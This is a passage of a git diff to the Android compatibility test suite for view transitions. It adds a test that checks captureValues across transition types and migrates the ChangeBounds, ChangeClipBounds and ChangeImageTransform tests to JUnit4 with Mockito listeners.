         mTransition.addListener(mListener);
     }
 
+    public void setAnimatedValue(float animatedValue) {
+        mAnimatedValue = animatedValue;
+    }
+
     public class TestTransition extends Visibility {
 
         public TestTransition() {
@@ -193,14 +157,14 @@
         public Animator onAppear(ViewGroup sceneRoot, View view, TransitionValues startValues,
                 TransitionValues endValues) {
             mTargets.add(endValues.view);
-            return ObjectAnimator.ofFloat(BaseTransitionTest.this, "mAnimatedValue", 0, 1);
+            return ObjectAnimator.ofFloat(BaseTransitionTest.this, "animatedValue", 0, 1);
         }
 
         @Override
         public Animator onDisappear(ViewGroup sceneRoot, View view, TransitionValues startValues,
                 TransitionValues endValues) {
             mTargets.add(startValues.view);
-            return ObjectAnimator.ofFloat(BaseTransitionTest.this, "mAnimatedValue", 1, 0);
+            return ObjectAnimator.ofFloat(BaseTransitionTest.this, "animatedValue", 1, 0);
         }
     }
 }
diff --git a/tests/tests/transition/src/android/transition/cts/CaptureValuesTest.java b/tests/tests/transition/src/android/transition/cts/CaptureValuesTest.java
new file mode 100644
index 0000000..538f46c
--- /dev/null
+++ b/tests/tests/transition/src/android/transition/cts/CaptureValuesTest.java
@@ -0,0 +1,252 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.transition.cts;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.transition.AutoTransition;
+import android.transition.ChangeBounds;
+import android.transition.ChangeClipBounds;
+import android.transition.ChangeImageTransform;
+import android.transition.ChangeScroll;
+import android.transition.ChangeTransform;
+import android.transition.Explode;
+import android.transition.Fade;
+import android.transition.Slide;
+import android.transition.Transition;
+import android.transition.TransitionManager;
+import android.transition.TransitionSet;
+import android.transition.TransitionValues;
+import android.util.ArrayMap;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class CaptureValuesTest extends BaseTransitionTest {
+    private ArrayMap<Class<?>, Boolean> mStartCaptured = new ArrayMap<>();
+    private ArrayMap<Class<?>, Boolean> mEndCaptured = new ArrayMap<>();
+
+    /**
+     * Ensures captureValues is called on all Transitions and the proper values are captured.
+     */
+    @Test
+    public void testCaptureValues() throws Throwable {
+        final TransitionSetCaptureValues set = new TransitionSetCaptureValues();
+        set.addTransition(new FadeCaptureValues());
+        set.addTransition(new ChangeBoundsCaptureValues());
+        set.addTransition(new ChangeImageTransformCaptureValues());
+        set.addTransition(new ChangeTransformCaptureValues());
+        set.addTransition(new AutoTransitionCaptureValues());
+        set.addTransition(new ChangeClipBoundsCaptureValues());
+        set.addTransition(new ChangeScrollCaptureValues());
+        set.addTransition(new ExplodeCaptureValues());
+        set.addTransition(new SlideCaptureValues());
+
+        enterScene(R.layout.scene11);
+        set.addTarget(mActivity.findViewById(R.id.redSquare));
+        mTransition = set;
+        resetListener();
+        mActivityRule.runOnUiThread(() -> {
+            TransitionManager.beginDelayedTransition(mSceneRoot, set);
+            mSceneRoot.invalidate();
+        });
+        waitForStart();
+        // no transition needs to run, but they should have all captured values.
+
+        for (int i = 0; i < set.getTransitionCount(); i++) {
+            Transition transition = set.getTransitionAt(i);
+            String className = transition.getClass().getSuperclass().getSimpleName().toString();
+            assertNotNull("captureStartValues not called for " + className,
+                    mStartCaptured.get(transition.getClass()));
+            assertNotNull("captureEndValues not called for " + className,
+                    mEndCaptured.get(transition.getClass()));
+        }
+        assertNotNull(mStartCaptured.get(set.getClass()));
+        assertNotNull(mEndCaptured.get(set.getClass()));
+    }
+
+    private void verifyCapturedValues(Transition transition, TransitionValues values,
+            boolean isStart) {
+        String[] properties = transition.getTransitionProperties();
+        if (transition instanceof TransitionSet) {
+            assertNull(properties);
+        } else {
+            String className = transition.getClass().getSuperclass().getSimpleName().toString();
+            assertNotNull(className + " should have non-null transition properties", properties);
+            assertTrue(properties.length > 0);
+
+            for (String property : properties) {
+                assertTrue(className + " should have written to property " + property,
+                        values.values.keySet().contains(property));
+            }
+        }
+        if (isStart) {
+            mStartCaptured.put(transition.getClass(), true);
+        } else {
+            mEndCaptured.put(transition.getClass(), true);
+        }
+    }
+
+    public class FadeCaptureValues extends Fade {
+        @Override
+        public void captureStartValues(TransitionValues transitionValues) {
+            super.captureStartValues(transitionValues);
+            verifyCapturedValues(this, transitionValues, true);
+        }
+
+        @Override
+        public void captureEndValues(TransitionValues transitionValues) {
+            super.captureEndValues(transitionValues);
+            verifyCapturedValues(this, transitionValues, false);
+        }
+    }
+
+    public class ChangeBoundsCaptureValues extends ChangeBounds {
+        public ChangeBoundsCaptureValues() {
+            super();
+            setResizeClip(true);
+            setReparent(true);
+        }
+        @Override
+        public void captureStartValues(TransitionValues transitionValues) {
+            super.captureStartValues(transitionValues);
+            verifyCapturedValues(this, transitionValues, true);
+        }
+
+        @Override
+        public void captureEndValues(TransitionValues transitionValues) {
+            super.captureEndValues(transitionValues);
+            verifyCapturedValues(this, transitionValues, false);
+        }
+    }
+
+    public class ChangeImageTransformCaptureValues extends ChangeImageTransform {
+        @Override
+        public void captureStartValues(TransitionValues transitionValues) {
+            super.captureStartValues(transitionValues);
+            verifyCapturedValues(this, transitionValues, true);
+        }
+
+        @Override
+        public void captureEndValues(TransitionValues transitionValues) {
+            super.captureEndValues(transitionValues);
+            verifyCapturedValues(this, transitionValues, false);
+        }
+    }
+
+    public class ChangeTransformCaptureValues extends ChangeTransform {
+        @Override
+        public void captureStartValues(TransitionValues transitionValues) {
+            super.captureStartValues(transitionValues);
+            verifyCapturedValues(this, transitionValues, true);
+        }
+
+        @Override
+        public void captureEndValues(TransitionValues transitionValues) {
+            super.captureEndValues(transitionValues);
+            verifyCapturedValues(this, transitionValues, false);
+        }
+    }
+
+    public class AutoTransitionCaptureValues extends AutoTransition {
+        @Override
+        public void captureStartValues(TransitionValues transitionValues) {
+            super.captureStartValues(transitionValues);
+            verifyCapturedValues(this, transitionValues, true);
+        }
+
+        @Override
+        public void captureEndValues(TransitionValues transitionValues) {
+            super.captureEndValues(transitionValues);
+            verifyCapturedValues(this, transitionValues, false);
+        }
+    }
+
+    public class ChangeClipBoundsCaptureValues extends ChangeClipBounds {
+        @Override
+        public void captureStartValues(TransitionValues transitionValues) {
+            super.captureStartValues(transitionValues);
+            verifyCapturedValues(this, transitionValues, true);
+        }
+
+        @Override
+        public void captureEndValues(TransitionValues transitionValues) {
+            super.captureEndValues(transitionValues);
+            verifyCapturedValues(this, transitionValues, false);
+        }
+    }
+
+    public class ChangeScrollCaptureValues extends ChangeScroll {
+        @Override
+        public void captureStartValues(TransitionValues transitionValues) {
+            super.captureStartValues(transitionValues);
+            verifyCapturedValues(this, transitionValues, true);
+        }
+
+        @Override
+        public void captureEndValues(TransitionValues transitionValues) {
+            super.captureEndValues(transitionValues);
+            verifyCapturedValues(this, transitionValues, false);
+        }
+    }
+
+    public class ExplodeCaptureValues extends Explode {
+        @Override
+        public void captureStartValues(TransitionValues transitionValues) {
+            super.captureStartValues(transitionValues);
+            verifyCapturedValues(this, transitionValues, true);
+        }
+
+        @Override
+        public void captureEndValues(TransitionValues transitionValues) {
+            super.captureEndValues(transitionValues);
+            verifyCapturedValues(this, transitionValues, false);
+        }
+    }
+
+    public class SlideCaptureValues extends Slide {
+        @Override
+        public void captureStartValues(TransitionValues transitionValues) {
+            super.captureStartValues(transitionValues);
+            verifyCapturedValues(this, transitionValues, true);
+        }
+
+        @Override
+        public void captureEndValues(TransitionValues transitionValues) {
+            super.captureEndValues(transitionValues);
+            verifyCapturedValues(this, transitionValues, false);
+        }
+    }
+    public class TransitionSetCaptureValues extends TransitionSet {
+        @Override
+        public void captureStartValues(TransitionValues transitionValues) {
+            super.captureStartValues(transitionValues);
+            verifyCapturedValues(this, transitionValues, true);
+        }
+
+        @Override
+        public void captureEndValues(TransitionValues transitionValues) {
+            super.captureEndValues(transitionValues);
+            verifyCapturedValues(this, transitionValues, false);
+        }
+    }
+}
diff --git a/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java b/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java
index d5c1245..d11051f 100644
--- a/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java
@@ -15,51 +15,74 @@
  */
 package android.transition.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.mock;
+
+import android.animation.Animator;
 import android.content.res.Resources;
+import android.graphics.Point;
 import android.graphics.Rect;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.transition.ChangeBounds;
+import android.transition.Transition;
+import android.transition.TransitionValues;
 import android.util.TypedValue;
 import android.view.View;
+import android.view.ViewGroup;
+import android.view.ViewTreeObserver;
+import android.view.animation.LinearInterpolator;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class ChangeBoundsTest extends BaseTransitionTest {
     private static final int SMALL_SQUARE_SIZE_DP = 10;
     private static final int LARGE_SQUARE_SIZE_DP = 30;
     private static final int SMALL_OFFSET_DP = 2;
 
     ChangeBounds mChangeBounds;
-
-    public ChangeBoundsTest() {
-    }
+    ValidateBoundsListener mBoundsChangeListener;
 
     @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
+        super.setup();
         resetChangeBoundsTransition();
+        mBoundsChangeListener = null;
     }
 
     private void resetChangeBoundsTransition() {
-        mListener = new SimpleTransitionListener();
-        mChangeBounds = new ChangeBounds();
+        mListener = mock(Transition.TransitionListener.class);
+        mChangeBounds = new MyChangeBounds();
         mChangeBounds.setDuration(400);
         mChangeBounds.addListener(mListener);
+        mChangeBounds.setInterpolator(new LinearInterpolator());
         mTransition = mChangeBounds;
     }
 
+    @Test
     public void testBasicChangeBounds() throws Throwable {
         enterScene(R.layout.scene1);
 
         validateInScene1();
 
-        startTransition(R.layout.scene6);
+        mBoundsChangeListener = new ValidateBoundsListener(true);
 
-        // now delay for at least a few frames before checking intermediate values:
-        Thread.sleep(150);
-        validateNormalIntermediate();
-        waitForEnd(400);
+        startTransition(R.layout.scene6);
+        // The update listener will validate that it is changing throughout the animation
+        waitForEnd(800);
 
         validateInScene6();
     }
 
+    @Test
     public void testResizeClip() throws Throwable {
         assertEquals(false, mChangeBounds.getResizeClip());
         mChangeBounds.setResizeClip(true);
@@ -68,32 +91,33 @@
 
         validateInScene1();
 
+        mBoundsChangeListener = new ValidateBoundsListener(true);
+
         startTransition(R.layout.scene6);
 
-        // now delay for at least a few frames before checking intermediate values:
-        Thread.sleep(150);
-        validateClippedIntermediate();
-        waitForEnd(400);
+        // The update listener will validate that it is changing throughout the animation
+        waitForEnd(800);
 
         validateInScene6();
     }
 
+    @Test
     public void testResizeClipSmaller() throws Throwable {
         mChangeBounds.setResizeClip(true);
         enterScene(R.layout.scene6);
 
         validateInScene6();
 
+        mBoundsChangeListener = new ValidateBoundsListener(false);
         startTransition(R.layout.scene1);
 
-        // now delay for at least a few frames before checking intermediate values:
-        Thread.sleep(150);
-        validateClippedIntermediate();
-        waitForEnd(400);
+        // The update listener will validate that it is changing throughout the animation
+        waitForEnd(800);
 
         validateInScene1();
     }
 
+    @Test
     public void testInterruptSameDestination() throws Throwable {
         enterScene(R.layout.scene1);
 
@@ -107,10 +131,11 @@
         startTransition(R.layout.scene6);
 
         assertFalse(isRestartingAnimation());
-        waitForEnd(500);
+        waitForEnd(1000);
         validateInScene6();
     }
 
+    @Test
     public void testInterruptSameDestinationResizeClip() throws Throwable {
         mChangeBounds.setResizeClip(true);
         enterScene(R.layout.scene1);
@@ -128,10 +153,11 @@
 
         assertFalse(isRestartingAnimation());
         assertFalse(isRestartingClip());
-        waitForEnd(500);
+        waitForEnd(1000);
         validateInScene6();
     }
 
+    @Test
     public void testInterruptWithReverse() throws Throwable {
         enterScene(R.layout.scene1);
 
@@ -146,10 +172,11 @@
         startTransition(R.layout.scene1);
 
         assertFalse(isRestartingAnimation());
-        waitForEnd(500);
+        waitForEnd(1000);
         validateInScene1();
     }
 
+    @Test
     public void testInterruptWithReverseResizeClip() throws Throwable {
         mChangeBounds.setResizeClip(true);
         enterScene(R.layout.scene1);
@@ -168,7 +195,7 @@
 
         assertFalse(isRestartingAnimation());
         assertFalse(isRestartingClip());
-        waitForEnd(500);
+        waitForEnd(1000);
         validateInScene1();
     }
 
@@ -217,78 +244,141 @@
 
         View belowSquare = mActivity.findViewById(bottomViewResource);
         assertEquals(0, belowSquare.getLeft());
-        assertEquals(aboveSquareBottom, belowSquare.getTop());
-        assertEquals(aboveSquareBottom + aboveSquare.getHeight(), belowSquare.getBottom());
-        assertEquals(aboveSquare.getRight(), belowSquare.getRight());
+        assertWithinAPixel(aboveSquareBottom, belowSquare.getTop());
+        assertWithinAPixel(aboveSquareBottom + aboveSquare.getHeight(),
+                belowSquare.getBottom());
+        assertWithinAPixel(aboveSquare.getRight(), belowSquare.getRight());
 
-        assertTrue(isWithinAPixel(expectedDim, aboveSquare.getHeight()));
-        assertTrue(isWithinAPixel(expectedDim, aboveSquare.getWidth()));
-        assertTrue(isWithinAPixel(expectedDim, belowSquare.getHeight()));
-        assertTrue(isWithinAPixel(expectedDim, belowSquare.getWidth()));
+        assertWithinAPixel(expectedDim, aboveSquare.getHeight());
+        assertWithinAPixel(expectedDim, aboveSquare.getWidth());
+        assertWithinAPixel(expectedDim, belowSquare.getHeight());
+        assertWithinAPixel(expectedDim, belowSquare.getWidth());
 
         assertNull(aboveSquare.getClipBounds());
         assertNull(belowSquare.getClipBounds());
     }
 
-    private void validateIntermediatePosition() {
-        Resources resources = mActivity.getResources();
-        float smallDim = TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP,
-                SMALL_SQUARE_SIZE_DP, resources.getDisplayMetrics());
-        float largeDim = TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP,
-                LARGE_SQUARE_SIZE_DP, resources.getDisplayMetrics());
-
-        View redSquare = mActivity.findViewById(R.id.redSquare);
-        View greenSquare = mActivity.findViewById(R.id.greenSquare);
-        assertTrue(redSquare.getTop() != 0);
-        assertTrue(greenSquare.getTop() != 0);
-        assertFalse(isWithinAPixel(smallDim, redSquare.getTop()));
-        assertFalse(isWithinAPixel(largeDim, redSquare.getTop()));
-        assertFalse(isWithinAPixel(smallDim, greenSquare.getTop()));
-        assertFalse(isWithinAPixel(largeDim, greenSquare.getTop()));
-    }
-
-    private void validateClippedIntermediate() {
-        validateIntermediatePosition();
-        Resources resources = mActivity.getResources();
-        float largeDim = TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP,
-                LARGE_SQUARE_SIZE_DP, resources.getDisplayMetrics());
-        View redSquare = mActivity.findViewById(R.id.redSquare);
-        View greenSquare = mActivity.findViewById(R.id.greenSquare);
-
-        assertTrue(isWithinAPixel(largeDim, redSquare.getWidth()));
-        assertTrue(isWithinAPixel(largeDim, redSquare.getHeight()));
-        assertTrue(isWithinAPixel(largeDim, greenSquare.getWidth()));
-        assertTrue(isWithinAPixel(largeDim, greenSquare.getHeight()));
-
-        assertNotNull(redSquare.getClipBounds());
-        assertNotNull(greenSquare.getClipBounds());
-    }
-
-    private void validateNormalIntermediate() {
-        validateIntermediatePosition();
-        Resources resources = mActivity.getResources();
-        float smallDim = TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP,
-                SMALL_SQUARE_SIZE_DP, resources.getDisplayMetrics());
-        float largeDim = TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP,
-                LARGE_SQUARE_SIZE_DP, resources.getDisplayMetrics());
-        View redSquare = mActivity.findViewById(R.id.redSquare);
-        View greenSquare = mActivity.findViewById(R.id.greenSquare);
-        assertFalse(isWithinAPixel(smallDim, redSquare.getWidth()));
-        assertFalse(isWithinAPixel(smallDim, redSquare.getHeight()));
-        assertFalse(isWithinAPixel(largeDim, redSquare.getWidth()));
-        assertFalse(isWithinAPixel(largeDim, redSquare.getHeight()));
-
-        assertFalse(isWithinAPixel(smallDim, greenSquare.getWidth()));
-        assertFalse(isWithinAPixel(smallDim, greenSquare.getHeight()));
-        assertFalse(isWithinAPixel(largeDim, greenSquare.getWidth()));
-        assertFalse(isWithinAPixel(largeDim, greenSquare.getHeight()));
-
-        assertNull(redSquare.getClipBounds());
-        assertNull(greenSquare.getClipBounds());
-    }
-
     private static boolean isWithinAPixel(float expectedDim, int dim) {
-        return (Math.abs(dim - expectedDim) < 1);
+        return (Math.abs(dim - expectedDim) <= 1);
+    }
+
+    private static void assertWithinAPixel(float expectedDim, int dim) {
+        assertTrue("Expected dimension to be within one pixel of "
+                + expectedDim + ", but was " + dim, isWithinAPixel(expectedDim, dim));
+    }
+
+    private static void assertNotWithinAPixel(float expectedDim, int dim) {
+        assertTrue("Expected dimension to not be within one pixel of "
+                + expectedDim + ", but was " + dim, !isWithinAPixel(expectedDim, dim));
+    }
+
+    private class MyChangeBounds extends ChangeBounds {
+        private static final String PROPNAME_BOUNDS = "android:changeBounds:bounds";
+        @Override
+        public Animator createAnimator(ViewGroup sceneRoot, TransitionValues startValues,
+                TransitionValues endValues) {
+            Animator animator = super.createAnimator(sceneRoot, startValues, endValues);
+            if (animator != null && mBoundsChangeListener != null) {
+                animator.addListener(mBoundsChangeListener);
+                Rect startBounds = (Rect) startValues.values.get(PROPNAME_BOUNDS);
+                Rect endBounds = (Rect) endValues.values.get(PROPNAME_BOUNDS);
+            }
+            return animator;
+        }
+    }
+
+    private class ValidateBoundsListener implements ViewTreeObserver.OnDrawListener,
+            Animator.AnimatorListener {
+        final boolean mGrow;
+        final int mMin;
+        final int mMax;
+
+        final Point mRedDimensions = new Point(-1, -1);
+        final Point mGreenDimensions = new Point(-1, -1);
+
+        View mRedSquare;
+        View mGreenSquare;
+
+        boolean mDidChangeSize;
+
+        private ValidateBoundsListener(boolean grow) {
+            mGrow = grow;
+
+            Resources resources = mActivity.getResources();
+            mMin = (int) (TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP,
+                    SMALL_SQUARE_SIZE_DP, resources.getDisplayMetrics()));
+            mMax = (int) Math.ceil(TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP,
+                    LARGE_SQUARE_SIZE_DP, resources.getDisplayMetrics()));
+        }
+
+        public void validateView(View view, Point dimensions) {
+            final String name = view.getTransitionName();
+            final boolean clipped = mChangeBounds.getResizeClip();
+            assertEquals(clipped, view.getClipBounds() != null);
+
+            final int width;
+            final int height;
+            if (clipped) {
+                width = view.getClipBounds().width();
+                height = view.getClipBounds().height();
+            } else {
+                width = view.getWidth();
+                height = view.getHeight();
+            }
+            validateDim(name, "width", dimensions.x, width);
+            validateDim(name, "height", dimensions.y, height);
+            dimensions.set(width, height);
+        }
+
+        private void validateDim(String name, String dimen, int lastDim, int newDim) {
+            if (lastDim != -1) {
+                if (mGrow) {
+                    assertTrue(name + " new " + dimen + " " + newDim
+                                    + " is less than previous " + lastDim,
+                            newDim >= lastDim);
+                } else {
+                    assertTrue(name + " new " + dimen + " " + newDim
+                                    + " is more than previous " + lastDim,
+                            newDim <= lastDim);
+                }
+                if (newDim != lastDim) {
+                    mDidChangeSize = true;
+                }
+            }
+            assertTrue(name + " " + dimen + " " + newDim + " must be <= " + mMax,
+                    newDim <= mMax);
+            assertTrue(name + " " + dimen + " " + newDim + " must be >= " + mMin,
+                    newDim >= mMin);
+        }
+
+        @Override
+        public void onDraw() {
+            if (mRedSquare == null) {
+                mRedSquare = mActivity.findViewById(R.id.redSquare);
+                mGreenSquare = mActivity.findViewById(R.id.greenSquare);
+            }
+            validateView(mRedSquare, mRedDimensions);
+            validateView(mGreenSquare, mGreenDimensions);
+        }
+
+        @Override
+        public void onAnimationStart(Animator animation) {
+            mActivity.getWindow().getDecorView().getViewTreeObserver().addOnDrawListener(this);
+        }
+
+        @Override
+        public void onAnimationEnd(Animator animation) {
+            mActivity.getWindow().getDecorView().getViewTreeObserver().removeOnDrawListener(this);
+            assertTrue(mDidChangeSize);
+        }
+
+        @Override
+        public void onAnimationCancel(Animator animation) {
+        }
+
+        @Override
+        public void onAnimationRepeat(Animator animation) {
+        }
     }
 }
 
diff --git a/tests/tests/transition/src/android/transition/cts/ChangeClipBoundsTest.java b/tests/tests/transition/src/android/transition/cts/ChangeClipBoundsTest.java
index 9411d29..400bc63 100644
--- a/tests/tests/transition/src/android/transition/cts/ChangeClipBoundsTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ChangeClipBoundsTest.java
@@ -15,25 +15,37 @@
  */
 package android.transition.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
 import android.graphics.Rect;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.transition.ChangeClipBounds;
 import android.transition.TransitionManager;
 import android.view.View;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class ChangeClipBoundsTest extends BaseTransitionTest {
     private ChangeClipBounds mChangeClipBounds;
 
-    public ChangeClipBoundsTest() {
-    }
-
     @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
+        super.setup();
         mChangeClipBounds = new ChangeClipBounds();
         mTransition = mChangeClipBounds;
         resetListener();
     }
 
+    @Test
     public void testChangeClipBounds() throws Throwable {
         enterScene(R.layout.scene1);
 
@@ -41,69 +53,49 @@
         final Rect newClip = new Rect(redSquare.getLeft() + 10, redSquare.getTop() + 10,
                 redSquare.getRight() - 10, redSquare.getBottom() - 10);
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                assertNull(redSquare.getClipBounds());
-                TransitionManager.beginDelayedTransition(mSceneRoot, mChangeClipBounds);
-                redSquare.setClipBounds(newClip);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            assertNull(redSquare.getClipBounds());
+            TransitionManager.beginDelayedTransition(mSceneRoot, mChangeClipBounds);
+            redSquare.setClipBounds(newClip);
         });
         waitForStart();
         Thread.sleep(150);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                Rect midClip = redSquare.getClipBounds();
-                assertNotNull(midClip);
-                assertTrue(midClip.left > 0 && midClip.left < newClip.left);
-                assertTrue(midClip.top > 0 && midClip.top < newClip.top);
-                assertTrue(midClip.right < redSquare.getRight() && midClip.right > newClip.right);
-                assertTrue(midClip.bottom < redSquare.getBottom() &&
-                        midClip.bottom > newClip.bottom);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            Rect midClip = redSquare.getClipBounds();
+            assertNotNull(midClip);
+            assertTrue(midClip.left > 0 && midClip.left < newClip.left);
+            assertTrue(midClip.top > 0 && midClip.top < newClip.top);
+            assertTrue(midClip.right < redSquare.getRight() && midClip.right > newClip.right);
+            assertTrue(midClip.bottom < redSquare.getBottom() &&
+                    midClip.bottom > newClip.bottom);
         });
         waitForEnd(400);
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                final Rect endRect = redSquare.getClipBounds();
-                assertNotNull(endRect);
-                assertEquals(newClip, endRect);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            final Rect endRect = redSquare.getClipBounds();
+            assertNotNull(endRect);
+            assertEquals(newClip, endRect);
         });
 
         resetListener();
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                TransitionManager.beginDelayedTransition(mSceneRoot, mChangeClipBounds);
-                redSquare.setClipBounds(null);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            TransitionManager.beginDelayedTransition(mSceneRoot, mChangeClipBounds);
+            redSquare.setClipBounds(null);
         });
         waitForStart();
         Thread.sleep(150);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                Rect midClip = redSquare.getClipBounds();
-                assertNotNull(midClip);
-                assertTrue(midClip.left > 0 && midClip.left < newClip.left);
-                assertTrue(midClip.top > 0 && midClip.top < newClip.top);
-                assertTrue(midClip.right < redSquare.getRight() && midClip.right > newClip.right);
-                assertTrue(midClip.bottom < redSquare.getBottom() &&
-                        midClip.bottom > newClip.bottom);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            Rect midClip = redSquare.getClipBounds();
+            assertNotNull(midClip);
+            assertTrue(midClip.left > 0 && midClip.left < newClip.left);
+            assertTrue(midClip.top > 0 && midClip.top < newClip.top);
+            assertTrue(midClip.right < redSquare.getRight() && midClip.right > newClip.right);
+            assertTrue(midClip.bottom < redSquare.getBottom() &&
+                    midClip.bottom > newClip.bottom);
         });
         waitForEnd(400);
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                assertNotNull(redSquare.getClipBounds());
-            }
-        });
+        mActivityRule.runOnUiThread(() -> assertNull(redSquare.getClipBounds()));
     }
 }
 
diff --git a/tests/tests/transition/src/android/transition/cts/ChangeImageTransformTest.java b/tests/tests/transition/src/android/transition/cts/ChangeImageTransformTest.java
index a26e850..6ae8a9f 100644
--- a/tests/tests/transition/src/android/transition/cts/ChangeImageTransformTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ChangeImageTransformTest.java
@@ -15,10 +15,20 @@
  */
 package android.transition.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+
 import android.animation.Animator;
 import android.animation.AnimatorListenerAdapter;
 import android.graphics.Matrix;
 import android.graphics.drawable.Drawable;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.transition.ChangeImageTransform;
 import android.transition.TransitionManager;
 import android.transition.TransitionValues;
@@ -29,6 +39,12 @@
 import android.widget.ImageView;
 import android.widget.ImageView.ScaleType;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class ChangeImageTransformTest extends BaseTransitionTest {
     ChangeImageTransform mChangeImageTransform;
     Matrix mStartMatrix;
@@ -37,8 +53,9 @@
     ImageView mImageView;
 
     @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
+        super.setup();
         resetTransition();
         mStartMatrix = null;
         mEndMatrix = null;
@@ -53,29 +70,33 @@
         resetListener();
     }
 
+    @Test
     public void testCenterToFitXY() throws Throwable {
         transformImage(ScaleType.CENTER, ScaleType.FIT_XY);
-        assertMatrixMatches(centerMatrix(), mStartMatrix);
-        assertMatrixMatches(fitXYMatrix(), mEndMatrix);
+        verifyMatrixMatches(centerMatrix(), mStartMatrix);
+        verifyMatrixMatches(fitXYMatrix(), mEndMatrix);
     }
 
+    @Test
     public void testCenterCropToFitCenter() throws Throwable {
         transformImage(ScaleType.CENTER_CROP, ScaleType.FIT_CENTER);
-        assertMatrixMatches(centerCropMatrix(), mStartMatrix);
-        assertMatrixMatches(fitCenterMatrix(), mEndMatrix);
+        verifyMatrixMatches(centerCropMatrix(), mStartMatrix);
+        verifyMatrixMatches(fitCenterMatrix(), mEndMatrix);
     }
 
+    @Test
     public void testCenterInsideToFitEnd() throws Throwable {
         transformImage(ScaleType.CENTER_INSIDE, ScaleType.FIT_END);
         // CENTER_INSIDE and CENTER are the same when the image is smaller than the View
-        assertMatrixMatches(centerMatrix(), mStartMatrix);
-        assertMatrixMatches(fitEndMatrix(), mEndMatrix);
+        verifyMatrixMatches(centerMatrix(), mStartMatrix);
+        verifyMatrixMatches(fitEndMatrix(), mEndMatrix);
     }
 
+    @Test
     public void testFitStartToCenter() throws Throwable {
         transformImage(ScaleType.FIT_START, ScaleType.CENTER);
-        assertMatrixMatches(fitStartMatrix(), mStartMatrix);
-        assertMatrixMatches(centerMatrix(), mEndMatrix);
+        verifyMatrixMatches(fitStartMatrix(), mStartMatrix);
+        verifyMatrixMatches(centerMatrix(), mEndMatrix);
     }
 
     private Matrix centerMatrix() {
@@ -188,7 +209,7 @@
         return matrix;
     }
 
-    private void assertMatrixMatches(Matrix expected, Matrix matrix) {
+    private void verifyMatrixMatches(Matrix expected, Matrix matrix) {
         if (expected == null) {
             assertNull(matrix);
             return;
@@ -209,41 +230,34 @@
 
     private void transformImage(ScaleType startScale, final ScaleType endScale) throws Throwable {
         final ImageView imageView = enterImageViewScene(startScale);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                TransitionManager.beginDelayedTransition(mSceneRoot, mChangeImageTransform);
-                imageView.setScaleType(endScale);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            TransitionManager.beginDelayedTransition(mSceneRoot, mChangeImageTransform);
+            imageView.setScaleType(endScale);
         });
         waitForStart();
-        int expectedEndCount = (startScale == endScale) ? 0 : 1;
-        assertEquals(expectedEndCount, mListener.endLatch.getCount());
-        waitForEnd(200);
+        verify(mListener, (startScale == endScale) ? times(1) : never()).onTransitionEnd(any());
+        waitForEnd(1000);
     }
 
